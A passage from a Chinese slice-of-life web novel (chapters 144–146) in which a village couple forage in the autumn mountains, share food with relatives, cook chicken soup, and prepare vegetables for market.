“就放在这儿。”顾兰时把竹筒连花搁在灶房窗台上,他俩干活多在院里,抬头就能看见。 刚说完,余光瞥到灰仔站在竹席前,低头想闻闻上面晒的菜条子,他一拍手,嘴里轻斥一声,灰仔两只耳朵朝后折,一副心虚的模样蹑手蹑脚朝旁边走了。 顾兰时见裴厌一手提起竹筐,问道:“去喂猪?” “嗯。”裴厌应道。 “我也去看看,不知道老猪怎么样。”顾兰时说道,跟着他往后院走。 昨天下午,他俩把两只公猪分开了,小的那只和老母猪关在一起,不知道它俩会不会打架。 还好,站在猪圈外看了一会儿,老母猪吃草的时候不会故意欺负小猪,性情还是温顺的。 见公猪也没跟小猪仔一样去拱奶,一心吃草料,两人都放了心,这样养着,到年底再肥一些,就能多卖点钱。 鲜草和干草混着喂了七头猪和驴子之后,他俩又回到前院,这会儿还早,略歇一歇,裴厌放下茶碗,说:“上山去挖笋,你去不去?” “去,不是还想拾点菌子。”顾兰时又倒半碗热茶,喝了之后才起身。 想起山楂糕,他把门上钥匙揣进怀里,说:“我记得那边竹林再往北边走一段,有些山楂树,不如去摘点,少了留着自己吃用,多了问问药铺和点心铺子,看他们收不收。” “好。”裴厌点点头,两人稍微收拾一下就出了门。 第144章 秋时瓜果熟。 一些树的叶子变红黄,掺杂在绿树之间,斑驳交错,山林好似一副画,一年四季颜色流转。 一上山,顾兰时就把前后草丛看了一圈,有些叶片变红变黄,掩映在枝条之下乍一看以为是野果藏在那里,他捡了根树枝走过去拨开,却并非想象中的山果子。 不止地上,一些树上也有果子,他和裴厌不时抬头看一眼,可惜在前山,经过这里的大人小孩多,有的果子还绿着就被摘走了,哪里能轮到他俩。 “这里没多少东西,不如早点去竹林那边。”裴厌说道。 顾兰时点点头,说:“也好,深一点人少,不在路上耽误了。” 手里的树枝没有丢掉,他俩加快了脚步,不再到处张望寻找,路过小腿高的草丛时,顾兰时就用树枝探一探。 这一路倒是没遇到蛇,只有些虫子小鼠在草丛被抽打时受惊,纷纷朝远处飞窜。 那边竹林远,进的更深以后,山林子一大,几乎看不到其他人的踪影,两人不约而同慢了下来,视线到处巡视。 顾兰时看见一株野澡珠树,见野澡珠挺大的,就喊裴厌过去摘。 低处的明显之前被人摘过,只有些小的,于是裴厌三两下爬上树,伸长胳膊一颗颗去摘。 这树树杈只有一个,他站在上面,顾兰时只能在底下等着用竹篮接。 野澡珠绿绿圆圆的,上面没有扎手的毛刺,不然也不会洗手的时候直接在手里搓。 这是乡下人常用的东西,若把树枝都弄断,就没得用了,因此多数人都不会掰坏树枝,要么用手摘,要么用树枝竹竿打落一些。 山上有野澡珠的地方,他们小河村的人都会记下位置,这棵显然也有其他人知道。 摘完近处的野澡珠之后,裴厌问顾兰时要了他手里的长树枝,站在树杈上将较远的打下去。 家里的野澡珠不多了,顾兰时朝远处避了避,等他打完两根树枝的野澡珠之后才过来拾捡。 裴厌将树枝丢在地上,自己随后下了树,一起在附近捡。 因地势不平,有的野澡珠滚落远,他俩拾了一圈才罢手。 竹篮快满一半了,顾兰时笑着说:“这么多,足够用两月的,下个月咱俩再上山,弄上一筐半筐的,就能用到开春。” “嗯。”裴厌接过他手里的竹篮,自己提着,又捡起地上的那根长树枝,两人再次往竹林方向走。 顾兰时眼尖,在落叶下看见一朵菌子,过去刨开被顶起一点的落叶,将米黄色的菌子拔了出来,正是能吃的,他喜滋滋放进竹篮里。 “这里还有。”裴厌在前面十几步开外说道。 “来了。”顾兰时说着,边走边看向周围。 裴厌把看到的三朵菌子拔出来,有大有小,但确定都是能吃的,等他过来后,全都放进竹篮里。 等会儿要挖一筐子笋,另一筐还要摘些山楂什么的,菌子娇嫩,放在竹篮上面一层不会被压坏。 这几天没下雨,看不到地皮菜的踪迹,拾了十几朵菌子后,看到树上有黑木耳,他俩又停下用树枝戳了不少。 顾兰时弯腰在地上捡,黑木耳掉下来后沾了些草屑泥土,根部还有点树皮,他随手抖抖,等回去了再拾掇干净晾晒。 一路走走停停,菌子和木耳还好,最大的惊喜是找到一株野葡萄藤,葡萄叶子下面藏了三串深紫色的野葡萄,正好熟了能吃。 比起家里栽种的葡萄,山上野葡萄结的果子小,但滋味不错,他俩尝了几颗后确定不是纯酸的,就把三串都摘了,等会儿到了竹林那边,附近有小溪可以洗洗。 在山里碰见什么就摘什么,就算东西少,带回去或自己吃或晾干晒干,像药材什么的,攒一攒,多了就能卖。 当看见一片五味子后,一串串的小果子分外惹眼,有的彻底变红成熟了,有的一串上还有青果,两人脚步都下意识往那边去,这东西回去洗净了晒干,能卖给药铺,自己也能留一点泡水喝。 顾兰时摘了两串全红的五味子,突然想起什么,抬头说道:“我记得这里往南边走,有一些野枣树,再往最南边的山崖边上,还有不少酸枣树。” “那摘完过去看看。”裴厌手下不停,野枣子要是有红的自己弄一点回去吃,晒干的酸枣仁药铺里收。 常往山上跑,裴厌也知道一些有山货的地方,不过今天一路弄了这么多东西,等会儿还有更沉的竹笋,就不用走远去找了。 这一片五味子挺多的,他俩摘了好一会儿,都放进顾兰时背的竹筐里。 往南边走的时候,裴厌从一串没摘的五味子上揪下来几颗红色果子,用指腹擦了擦,吃进嘴里咂味儿。 顾兰时在旁边看着,想起那个味道,不由咧了咧嘴,脸蛋轻皱,随后又笑着问道:“好吃?” 五味子之所以叫五味子,正是有五种味道,他小时候吃过,酸甜两种味道还好,即便酸的龇牙咧嘴眯眼睛,也比剩下的辛、苦、咸三种味道好受点。 “嘶。”裴厌被酸的轻嘶一声,转头见顾兰时笑他,自己也露出个笑容,说:“还行,能忍过去,就当提神了,以前运气好的时候,还能找到偏酸甜的,跟果子一样。” 顾兰时笑道:“我只能拣着晒干的泡几粒在水里喝,鲜果子怎么都吃不了,干的也不敢直接吃。” “那回头晒干了给家里留一些,听人说这个补五脏。”裴厌说道。 “嗯。”顾兰时答应一声,循着记忆里的方向往枣树林那边走。 这时节,枣子大部分还是青的,没到彻底变红的时候,他俩用树枝打了一些,捡有红色的丢进顾兰时竹筐里,没有在这里多停留,又去山崖那边弄了一些野酸枣。 竹筐渐渐沉了,顾兰时没有让裴厌背,这点份量他还是不看在眼里的,转了方向往竹林那边走,他笑着开口:“还是秋天好,各种果子和药材都能采挖了。” “嗯。”裴厌点点头,对此十分认同,他小时候吃不饱,秋天一到,逮着空子在山上河边转一圈,总能找到可以吃的果子。 他又说道:“核桃跟毛栗子还没到时候,再过段时日,上山早点,专门弄一些,不卖,留着过冬吃。” “好。”顾兰时心情很好,看见裴厌手里的竹篮,他伸长胳膊摘了一粒野葡萄,酸酸甜甜的,比五味子好吃多了。 见状,因顾兰时走在他右边,裴厌特地把竹篮换到右手提着,自己又往嘴里塞一颗五味子,这一个酸的他眼睛都眯起来。 一路上耽误了许久,到竹林后,两人稍微歇一下,一个拿镰刀一个拿小锄头,各自砍起竹笋。 今天不用去镇上卖菜,上来一回也不容易,这么远的路,两人砍了许多笋子,把裴厌背来的大竹筐装满,才找了片平坦地方坐下歇息。 喝完竹筒里的水,顾兰时塞好盖子,靠着身后的粗竹子喘一口气,今天出来收获不少,心里自然是高兴的。 裴厌坐在旁边,又捏了一颗五味子吃,待口中的酸味刺激过去后,他指着竹林右边说道:“那边过去走一段,有地泡儿藤,今天没别的事,不急着往回赶,等会儿去挖挖。” “好。”顾兰时连忙答应。 熟了的地泡儿很甜,连核都能嗦出甜味,别说小孩,有的大人也爱吃,只是地泡儿和树藤一起埋在土里,只有远一点的山林才长,平时大伙儿都忙,很少有特意上来挖的,也就是今天他俩不着急干别的活。 歇了一会儿后,看见竹篮里的野葡萄,顾兰时有点馋,一年到头也就这时候能找点葡萄吃。 他站起身说道:“我记得附近有溪水,我过去洗洗,咱俩吃完再去找山楂。” 说完他又补了两句,道:“这东西不经磕碰,下山路远又颠簸,不如吃了。” 裴厌露出个笑容,知道他是馋了,却也没戳破。 最近去镇上卖菜卖鸡蛋的时候,有人挑着葡萄叫卖,比野葡萄大,一看就好吃,可惜太贵了,和糕点油酥饼不一样,这东西又不顶饱,两人都舍不得买。 “竹筐这么沉,你在这儿等着,我洗洗就回来。”顾兰时有点迫不及待。 “我去,你坐着歇歇。”裴厌起身,从竹篮把三串葡萄拿出来,这三串并不大,也就他俩解解馋。 “行。”顾兰时没有争论,又坐下歇脚,山路不好走,他俩还绕了路去别的地方找果子,腿脚确实有点乏。 正如所说的,裴厌很快回来,两人坐在地上一边闲聊一边吃葡萄,阳光正好,风也合适,不冷不热的,在忙碌中突显几分自在畅快。 * 山楂红了,顾兰时的竹筐里装了些五味子、野枣和野酸枣,他俩摘了许多山楂,直到把竹筐装满才往回走。 在空旷处碰见两棵柿子树,最顶上的红柿子被太阳一照,见有透光,一看就是熟了。 赶走树枝上刚落下的鸟雀,它们也是来吃柿子的,裴厌爬上树,试着伸手够了够,没有摸到,于是试着去拽枝条。 顾兰时在下面仰起头看,一边指挥着,好容易才摘下一颗红柿子,上面还有两个红透了的够不到。 他俩不死心,柿子刚开始成熟,今年还没吃过呢,于是商量了一下,裴厌用长树枝去戳柿子蒂那里,顾兰时在下面尽量接住。 “好了。”顾兰时在下面站定,伸着双手做出捧接的姿态,脚下也准备好了,随时可以移动。 裴厌站在树上,瞅准了位置,两下就把一个红柿子戳下来,还没怎么样呢,就听见下面顾兰时哎哎哎大呼小叫的。 低头一看,在顾兰时手忙脚乱移动之中,柿子还是啪嗒一声掉在了草丛里,正好和顾兰时伸过去的双手错过。 他没忍住笑出声,甚至越想越好笑。 顾兰时蹲下看一眼草丛里的柿子,因为熟透了很软,掉在地上已经烂了,实在是可惜,只能留在这里喂小鸟和小虫子了。 正遗憾,就听见裴厌笑个不停,后知后觉反应过来自己刚才的举动,于是他蹲在那里抬头,装作气愤瞪了树上的人一眼。 但瞪了没一会儿,他自己也笑起来,方才确实太咋咋呼呼了,而且没瞅准,柿子和他手边刚好擦过。 笑过之后,裴厌眼睛里带着笑意,说:“还有一个,这回看准了。” 顾兰时嚯一下起身,挽起袖子,一副严阵以待的模样。 总算,在他凝神静气,一看见柿子掉落就赶忙小跑移过去,双手一伸,一声轻“啪”,柿子掉进了双手里。 他自己其实都有点惊讶,没想到真接住了,脸上不由自主露出个笑容,抬起脸一副得意的模样,问道:“怎么样?” 第145章 裴厌脸上笑意更大,夸道:“厉害,当真厉害,这都能接住。” 知道是逗自己,但顾兰时还是被吹得有点飘飘然。 裴厌从树上下来,见他手里的这个柿子同样摔烂破了皮,红色的软肉和汁水流出来,幸好落在手里,不像地上那个,沾了泥土草屑吃不成了。 “能吃,你把蒂摘掉,柿子皮剥下来。”顾兰时笑眯眯的,他两手上有黏糊糊的汁水,只能让裴厌来。 柿子有一半还算完整,剥好后他又说:“你去吃那个,这个我吃了就行。” 裴厌顿一下,刚要说什么,见顾兰时眉眼微弯,两手捧着柿子低头就咬了一大口,再抬起脸,一副分外满足的模样。 有吃的就不错了,哪里还管烂不烂,掉在手上好歹干净点。 裴厌笑了下,不再犹豫,拿起放在竹筐上的另一个柿子剥掉皮。 熟透的柿子又软又甜,顾兰时舔舔嘴巴上的一点汁水,他手上还有些摔烂的柿子肉,甜甜的汁水黏糊糊的,不好再吃了,于是抬手摘两片柿子叶刮掉手上的残汁。 裴厌吃完了自己那个柿子,从腰间取下竹筒,一边打开塞子一边说道:“我这儿还有水,冲冲。” 等顾兰时伸出双手,他倾斜竹筒慢慢倒水。 手掌不再黏了后,顾兰时开口道:“好了好了。” 裴厌喝一口水后塞好盖子,又把竹筒挂在腰间,背起地上的竹筐提了竹篮,等顾兰时背好竹筐后,两人一起往山下走。 筐子篮子都满满的,回去的路上再不用找东西,比上山走得快多了。 太阳挂在头顶,已经晌午了,顾兰时边走边说:“回去先垫两块糕点,炖鸡还是晌午来,傍晚吃多了又不干活,天一黑没多久就上炕睡了。” “嗯,是要晌午吃。”裴厌在旁边应和。 其他路不好走,两人又回到竹林这边,沿着山势不断爬坡下坡。 秋天瓜果多,连落在树上的鸟雀看起来都肥了一圈,不是叽喳叫就是用嘴梳理羽毛。 “铁栓——润生——” 听见前面林子里有人呼喊,声音还挺熟悉,顾兰时开口道:“是二伯娘他们。” 裴厌也听出来了,等两人近前,果然看见顾铁栓和刘巧香,还有堂哥顾润生,三人正在歇息,竹筐都放在地上。 “二伯,二娘,润生哥。”顾兰时笑着问一声,裴厌跟着他喊了人。 “是兰哥儿你俩。”刘巧香正在擦汗,瞄一眼裴厌手里提的竹篮,有菌子和木耳什么的,山里常见这些,倒不是什么稀罕东西,她筐子里也有不少菌子呢。 “二娘捡了菌子?”顾兰时到跟前后才停下,笑道:“我俩摘了些山楂。” 说完他看一眼裴厌,裴厌领会,两手从竹筐里捧了一捧,往地上刘巧香的竹筐里倒进去。 “哎呦,这么多,够了够了。”刘巧香脸上笑意比刚才更大。 山里的东西都要去摘去找,就算给的少,白占便宜哪有不愿意的。 顾兰时又从裴厌的筐子里抽了四根竹笋,笑着说:“二娘回去了炒笋子和我二伯吃。” “哎好好。”刘巧香笑得合不拢嘴,说道:“就说我们兰哥儿心眼实在,又孝顺,连我们这些人也记得。” 顾兰时只笑笑,见顾润生在,闲问道:“没看见嫂子,在家呢?” 顾润生咧嘴一笑,说:“在家看孩子呢,小的如今会跑了,转眼就不见人,哪里敢让他乱跑,可不得留个大人看着,顺便做饭。” 闻言,顾兰时又笑道:“不早了,二伯、二娘,我俩得赶紧回去,还要做饭呢。” 知道他们就两个人,家里没有人帮着做饭,刘巧香赶忙说道:“好好,你俩快回去,跑了山路也饿了。” 朝二伯一家子道了别,两人继续往山下走。 后面刘巧香看着笋子和山楂,她素来爱贪点小便宜,这会儿哪有不高兴的。 顾铁栓坐在树下平坦处看她一眼,就知道她在想什么,小辈主动给的,倒也罢了,他没言语,靠着身后的大树歇脚。 之前裴厌和顾兰时整顿好菜地,春天种的菜,不少在夏秋收获了,眼瞅着一筐筐水灵灵的菜用驴车往镇上拉。 多的时候每天都跑一趟宁水镇,少了两三天就能摘好几筐,即便应季的菜蔬贵不到哪里去,也不是每天生意都好,但经常去卖菜,村里人都能看见,免不了有些眼馋眼红的。 刘巧香也是如此,她比村里旁姓人要好,怎么也是二伯娘,因此家里只要不忙,她得了空,找借口都要去后山溜达一圈,一旦去了,总能拿点菜。 她贪嘴爱吃,家里虽然日子不错,肉和蛋却不能常吃,因此每每见了这些荤的,免不了想给自己多占几口。 而自从讨到菜蔬的便宜后,她恨不得天天都去。 又不是自家种的,不用挑水不用上肥,也不用操心拔草除虫的事,光往嘴里吃就好,她心中十分得意,裴厌再厉害,也算是他家小辈,不能拿她怎么样。 初秋时知道顾兰时和裴厌养的五十几只母鸡下蛋了,别人还好,独她最欢喜,乐得什么似的。 顾兰时和裴厌白天要出去打草干活可能不在家,但一般晌午和傍晚饭时,肯定在家里,她找了个傍晚的空子,颠颠儿跑去说闲话,还特地跑到鸡圈前看了又看。 原本想让顾兰时和裴厌主动开口给她拿鸡蛋,可两人愣是不张这个口,她只能递话暗示。 裴厌不提,顾兰时也好似一副没听懂的模样,傻愣愣站在那里只顾跟她说闲话。 圈里的母鸡一只比一只肥,看着肉就多,想必下的蛋也大,她实在馋,不愿空手回去,最后竟拿三个孙儿当借口,腆着老脸直接问顾兰时要鸡蛋,说什么家里艰难,小孙子只见过鸡蛋却不曾吃过几个,一番哭穷卖惨,总算得了三个鸡蛋。 可惜要蛋吃的日子没有长久,第二回再去,只得了一个,好说歹说顾兰时都不愿再给她拿一个,她心中气愤不已,却不好发作,拿了那个鸡蛋就走。 等第三回再去的时候,却发现方红花也在。 年轻的时候被敲打过许多次,对婆婆,刘巧香是从心里怕的,东西也不敢要,没待多久,灰溜溜回家去了。 到家后更不妙,看见顾铁栓脸拉的很长,她心里直打突突,也不敢说话,直到顾铁栓骂了她几句后,又严厉禁止她再上后山去要东西,这才知道是方红花来找过顾铁栓了。 从那以后她才消停了,不过见了顾兰时和裴厌,心中有埋怨,说话有点阴阳怪气的。 她心里对方红花也有些怨气,老太太自己吃后山的各种菜肉蛋,偏偏不叫他们吃。 顾铁栓歇够了,起身背起竹筐说道:“走了。” 他抬脚走在前面,看见顾兰时和裴厌两个以后,不免又想起之前的事。 他老娘上家里串门子说闲话时,他才知道,原来润生他娘总往后山跑,不是拿菜就是拿人家鸡蛋。 他每天只管在地里和外面干活,回家只吃饭,刘巧香拿回来的菜家里多数都有,因此没有留意。 至于鸡蛋,刘巧香拿回来后也不会特意说是从后山得的,放进蛋篮子里也分不清到底是自家养的母鸡还是外来的鸡蛋。 一听老娘的话,他哪能不知道意思,也自觉脸上挂不住,等刘巧香回来后,直接骂了一通。 顾兰时就算嫁到了村里,也是给出去的,跟他们顾家本家不一样,和裴厌两人只能算家里亲戚。 更何况又是小辈,哪有没事就去亲戚家打秋风的道理,不知道的,还以为他家穷得揭不开锅了。 又被老娘当面说出来,实在是丢人现眼,发了一通火,不许刘巧香再去要东西。 秋风吹过,不少黄叶掉在地上。 顾铁栓背着竹筐弯腰往坡上爬,对顾兰时和裴厌,他心里倒没什么气恼,平时嘴上不说,心里其实是看好的。 去年秋天,大菜地刚出菜时,只要拉着菜在路上遇到他,无论裴厌还是顾兰时,总会给他拿一把菜,他不是不明事理的人,孩子有心给点菜吃,接就接了,可哪有跑去问人家要的。 * 总算下了山,顾兰时两手拽着胸前的筐绳,和裴厌往树林子里走,心里热乎乎的,快步赶回了家里。 一开门照例是三只大狗的挤挤蹭蹭,它们几个没有任何异常,说明家里依旧平静,没什么乱七八糟的人靠近过。 顾兰时洗了手说道:“我去灶房擦火,你把点心拿过来,咱俩一边烧水一边垫垫肚子。” 他都等不及把竹筐竹篮里的东西掏出来,来回一趟走了两个多时辰,肚子都饿了,只想赶紧把鸡炖好。 “嗯。”裴厌答应一声,擦干净手大步就朝屋子里去拿糕点。 灶底火苗闪动,添了柴火之后熊熊燃烧起来。 顾兰时和裴厌坐在灶膛前的小凳子上吃梅花糕,想起刚才碰到二伯一家,他轻声叹口气。 “怎么了?”裴厌疑惑问道。 顾兰时笑了下,说:“没啥,走得累了,又饿,还不能叫我喘一口气?” 裴厌把手里剩下的半块梅花糕塞进嘴里,两手随意拍了拍,伸手在夫郎小腿上捏起来。 顾兰时没阻拦,一双眼睛笑意更大。 二伯娘的事来回都是那些话,因此没必要再说一遍,自家亲戚,还是亲二伯亲二伯娘,拿点菜吃没什么,来的勤他也不说,谁家还没个爱贪便宜的亲戚了,再说了,他二伯和堂哥顾润生也给他们家出过力,哪能不想人家的好。 只是要鸡蛋这事确实有点过了,他俩一个夏天把鸡崽子当祖宗养,不是抓鱼虾摸地龙泥鳅,就是上野地里抓蛐蛐蚂蚱,喂得肥肥壮壮,就为了下蛋去卖钱,不然这么累图什么。 小母鸡们都开始下蛋后,他和裴厌哪里见过这么多鸡蛋,一想都是钱,自然看得紧,那会儿还舍不得给别人。 因此当二伯娘三番两次来要时,心里很不痛快,可又不好同二伯娘挑破,那样就直接撕破脸了。 还是裴厌去找了阿奶,一下子就消停了,他心里既佩服裴厌又佩服阿奶,姜还是老的辣,能治住二伯娘的人,也就他阿奶了。 母鸡下的蛋,大体上个头都差不多,不过也有些偏小的,因镇上鸡蛋都是按个卖,人家都不爱挑小的,除非便宜一文钱,他就把小点的鸡蛋留下自己吃。 有时小鸡蛋攒的多了,给他爹娘送点,哥哥姐姐来串门子时,也给他们拿一些,至于别的亲戚,给几个也没什么,反正他和裴厌也吃不完。 想着他二伯一直对他家不错,前几天见有剩下的小鸡蛋,就给三个伯娘一人拿了三个,也是从那天后,二伯娘对他俩又喜笑颜开起来。 小腿被捏的舒服,顾兰时注意力从这些琐碎事上移开,笑眯眯直接靠在裴厌身上。 再多的鸡零狗碎皮毛事,也不过是一点小插曲,他和裴厌日子慢慢好一点了,今天还有鸡肉炖笋子吃,其他事可一点儿都比不过这些。 他开口说道:“回来迟了,娘他们肯定都吃过饭了,等会儿留两碗鸡汤出来,再给捞几块肉,傍晚再给送过去。” “好。”裴厌给他捏着小腿,又捶一会儿大腿。 锅里水烧开了,两人一个杀鸡一个剥笋切菜,等到两口铁锅都开了以后,金黄油亮的鸡汤炖好了,白米饭也蒸好了。 一整只公鸡剁了不少肉,又有竹笋,顾兰时先留出给爹娘和阿奶的两碗,剩下自然都是他俩的。 见裴厌饿的有点迫不及待,他笑着先给舀了小半碗鸡汤和两块鸡肉。 裴厌站在灶房里,一边吹一边喝鸡汤。 热乎乎的鸡汤不但放了笋子,还放了几朵菌子,咸鲜可口,没一会儿他就喝完了半碗,又拿起筷子吃鸡肉,肉香味实在是让人满足。 顾兰时给一个大碗里捞了几个大块的鸡肉,剁的时候他特地让裴厌把鸡胸那里的厚肉剁成大块,等会儿晾凉了,好撕成鸡肉丝,下午用鸡汤煮面吃,再把鸡肉丝放上去,肯定更香。 炖鸡的味道早让院子里的狗坐卧不安,口水都流了下来,呜呜嗷嗷叫着,刚才裴厌给它们掰了糙馒头,但看见杀鸡,三只大狗都机灵,知道有肉或者骨头啃,一个两个只是闻闻狗食盆里的馒头,不愿去吃。 而顾兰时和裴厌都饿极了,根本顾不上管狗,盛好鸡肉鸡汤还有米饭后,迫不及待端上桌,连话都不说就往嘴里扒拉。 第146章 初秋的天,一到下午明显有了冷意。 白天渐渐短了,趁下午太阳还没落山,妇人夫郎都会早归做饭,若是晚一点,等饭做好天已经黑了,还得点油灯吃饭。 顾兰时和裴厌也是如此,下午打草挖野菜干了一阵子,比别的人家回去更早,惦记着吃饭这件事,趁机也能多歇会儿。 出门前顾兰时觉得有点冷,加了件衣裳才提着竹篮出门,篮子里是两碗鸡汤。 面已经和了,裴厌正在切笋丝,晚上这一顿只吃面太简单了,好歹炒一碗菜配着。 等他送了东西回去就能擀面条子下锅,鸡汤面也简单,鸡汤和鸡肉丝都是现成的,回头烧滚了,煮了面浇上去就好。 篮子里有汤水,顾兰时没敢走得太快,等到家门口后,见院门开着,他直接进去,二黑今天被拴在后院,没有摇着尾巴迎上来。 “娘!竹哥儿!”没看见院里有人,他边走边喊。 “兰时哥哥。”花惜霜匆匆从屋里跑出来。 顾兰时笑道:“霜儿,你一个在家?我今儿炖了鸡和笋子,盛了一碗你们和爹娘也尝尝。” 花惜霜连忙从他手里接过碗,一边往灶房一边不好意思道:“我和兰瑜去河边打草,不小心湿了鞋子和裤边,就先回来换衣裳。” 顾兰时没有进灶房,站在门口说道:“如今天冷了,河水又冰凉凉的,是该回来换,那你先忙,我这就走了。” “好好。”花惜霜送他出院门。 还没走到老宅,路上碰到几个村里老妇,见他提着的篮子上盖了布,都问上哪里去,还提着篮子。 顾兰时笑着说:“没什么,串门子转转。” 他没多言语,脚下走得也快了点儿,省得再被追问。 之前他总是给家里和阿奶送点吃的,菜蔬也好鸡蛋也罢,去的勤了,村里人都知道,有当面说他和裴厌孝顺的,他只笑笑没放在心上。 只是有一次回家闲转,见他大嫂和二嫂都在,人不但齐全,还带了瓜菜什么的,堆在灶房里。 恰好隔壁桂花婶子来串门,他娘乐呵呵直夸两个儿媳孝顺,刘桂花很有眼力见,附和着两人一唱一和,直夸得张春花和李月喜笑颜开。 等人都走了后,苗秋莲才和顾兰时在屋里说了几句,原来他常常往家里送东西,村里人都看在眼里,倒叫哥哥嫂嫂为难了。 村里有心眼实在的人,自然也有混嚼舌根的,不止妇人和夫郎,汉子里也有这种人。 有人当着顾兰生顾兰河面说人家裴厌和顾兰时孝顺,出嫁的双儿和外姓儿婿,把他两个做儿子的都比了下去,直叫兄弟俩臊的红了脸,这不最近经常打发媳妇过来送东西。 可他两家菜地不如顾兰时和裴厌的大,养的鸡更是比不上,一人还有两个儿子要养,虽有房屋田地,日子还算过得去,只是再多的东西也拿不出来了。 顾兰时听完后恍然大悟,怪不得最近两个哥哥不上他那边拿菜了,原来是这么回事。 连他也为难起来,给爹娘送东西,不过是因为自己有,以前和裴厌一穷二白的时候,他总上家里拿吃的喝的。 如今菜和鸡蛋什么的,东西多才给家里送,要是少,也只能先顾及自己,毕竟他爹娘多年来勤俭,还是有一点家底的,不愁没饭吃。 回去后他告诉了裴厌,裴厌说一点心意,想送就去送,以后别张扬就好。 他一想也是,顺手拔几颗菜拾几个鸡蛋而已,那是他爹娘,又不是别人,不给也说不过去。 至于大哥二哥那边,裴厌去找了他爹。 他爹一听就知道怎么回事,直接去找两个哥哥说话了,让他俩不必为那些乱嚼舌根的人难为自己,自家人过日子,有孝心是好的,相互扶持也是好的,外人不过是挑事生非,故意撺掇拱火想看热闹,要为了乱七八糟的言语叫媳妇孩子吃不饱,那才是没本事。 有老爹一番话给撑腰,顾兰生和顾兰河才放下心里那些别扭,说起来张春花一张嘴也不是好惹的。 之前自知理亏,不够孝顺公婆,既然公婆并不责怪他们,她便有了底气,遇到同她说笑时故意掰扯这事的碎嘴子,她并不搭茬,只阴阳怪气把对方家里那些破事拿出来说嘴,明里暗里也骂对方不孝顺,还有脸说别人。 都是一个村的,谁还不知道别人家那点狗屁倒灶的破事了。 见她厉害,甚至有时候苗秋莲串门子遇到,也会帮儿媳妇正正名,那些风言风语就渐渐下去了,人家老子娘都护着,还有旁人什么说嘴的份儿。 祖宅院门开着,顾兰时熟门熟路进去,大伯一家子没在,只有他阿奶看家。 有鸡汤喝鸡肉吃,不用自己再做,热一热就能吃,方红花喜得什么似的。 她上了年纪,小辈孝顺东西没什么,再说她性子素来泼辣,没人招惹的时候也算和气好说话,可一旦惹到她,是真敢朝人家脸上啐的,因此那些舌根没嚼到她面前。 送了东西后,顾兰时没有多留,回去还要擀面呢,竹篮一空,他走得比来时快多了。 还没进篱笆门,顾兰时就看到一缕炊烟悠悠往上飘。 院子里,三只大狗一人占了一个食盆,埋着脑袋,狼吞虎咽连汤带馒头很快吃了个精光,他看一眼,知道裴厌给它们倒了鸡汤,就不再管,在灶房门口洗了手,挽起袖子进去。 吃完后,大黑舔了好一会儿食盆,转头看一眼灶房里,知道不会再有吃的了,它舔舔嘴巴,找了个地方趴下假寐,身后尾巴一晃一晃轻摇,显然吃到了肉味心情很好。 灰灰和灰仔不像它这样稳重,舔完自己的食盆,还在其他两个食盆里轮换再舔一圈。 三个都是吃饭连渣都留不下的,自然没有任何遗漏,它俩都没捡到便宜。 裴厌炒好了笋丝,见顾兰时进来,夹了两根让尝尝咸淡。 “正好。”顾兰时嚼了两下说道,伸手把扣在面团上的木盆拿起来,揉几下就拿擀面杖开擀。 裴厌把笋丝盛到碗里,又用盘子扣上,随后把锅洗了洗,加水添柴,又将鸡汤倒进另一口大锅里热。 两个人一起做饭,却也自在。 等面下好浇了鸡汤放了鸡肉丝后,总算吃了一回鸡汤肉丝面。 * 小河村道道炊烟升起,地里干活的汉子没一会儿也陆续往家赶。 花惜霜干活挺麻利,但性子有点憨,又是刚嫁过来,炒了一碗秋蒿热了馒头,对肉菜却不敢随意处置。 苗秋莲一回来,就听小儿媳说兰哥儿给送了一碗鸡汤,还有鸡肉在里头,她干了几十年灶上的活,心里立马就有了主意。 只一碗鸡汤,家里五口人,不好厚此薄彼,她把鸡汤倒进锅里,直接倒水加进去,让竹哥儿和花惜霜切了好几样菜,还放了菌子,之前吃剩下的一小截腊肉,也切成小片放进去,煮了一锅菜。 即便加了水,鸡汤本来就有油,还放了腊肉,菜汤上飘了油花,瞧着就比白水煮菜好吃,端上桌后,一家子就着糙馒头吃得很香。 吃完饭后,顾铁山倒了碗茶坐在堂屋喝,又讲起他和苗秋莲以前的事,那会儿刚分家出来,过得苦,好不容易见点肉汤,要么炒菜时用小勺舀一勺,能吃上一段时日,要么一小碗肉汤掺水吃上好几天,哪像这样一碗就给倒了进去。 * 月亮挂在天上,星星不断闪烁。 凌晨山脚下冷,打了早鸣的公鸡又缩回窝里,狗也在暖和的窝里没起来。 借着这点月光和星光,顾兰时和裴厌打着哈欠走进菜地割菜摘瓜。 这几天除了自己吃的,没再多摘,又长成一批,正好要去镇上酒馆卖鸡蛋,拉着一起去卖。 寒意透过呼吸直进肺里,好在两人都穿了夹袄和棉裤,臃肿了些,但身上没那么冷。 “今天把帽子皮毛手套都戴上,赶车要吹风,肯定比这还冷。”顾兰时一边摘葫芦瓜一边说道。 整座院落都很安静,即便和裴厌有一定距离,他说话那边听得一清二楚。 “嗯,知道了。”裴厌答应一声,弯腰用镰刀嚓嚓割下好几把蒿菜。 原本摘菜不用起这么早,但这回想往酒馆送蛋,听那老嬷说他们也做早食生意,要是去的迟一点,人家馆子要是忙的话,估计还要他们等着,不如早过去,卖完了也好早些回来。 菜摘的差不多了,顾兰时没有再干,先回去热早食,顺便给牲禽烧水烫食,他俩出门有可能晌午才回来,不能饿着家里这些东西。 裴厌把所有菜都割完摘好后,竹筐都放在了石子路边,只待拉车出来放上去,这会儿顾兰时已经喂过后院几只猪,至于鸡鸭,走前把食倒进木槽里就好、 眼下他俩实在是饿了,只想快点吃东西。 灶房里,一揭开锅盖,热气从中冒出来,站在锅边的两个人只觉扑面而来一股热意,再闻到包子的香味,都不自觉咽了咽口水。 昨天包了两屉包子,菜包子不说,还有肉包子,一人热了两个肉的。 顾兰时拿起一个肉包,觉得有点烫,一边吹一边在两只手上来回倒腾,再看裴厌,就跟不知道烫手一样,吹一吹就咬了下去。 一口下去肉馅饱足,还有肉汁流出来,香的他完全不怕烫,两三口就吃完了这个,又伸手去拿锅里的另一个肉包。 顾兰时一个包子刚吃完,他两个就下了肚。 早起这么冷,还干了好一阵活,胃里没食容易手脚冰凉,吃个热乎乎的包子实在舒坦,连身上都热乎起来,见锅里还有菜包子,他又吃了三个才作罢。 “饱了?”顾兰时把手里最后一口包子塞进嘴里,他一共吃了四个,天天干活,食量自然不错。 “饱了。”裴厌说道,其实他还能吃,不过等会儿要赶车,路上风大太冷,吃得过于饱反而不好。 月亮往西边去了,星星微光虽淡,一片星芒聚拢在一起也叫人心安。 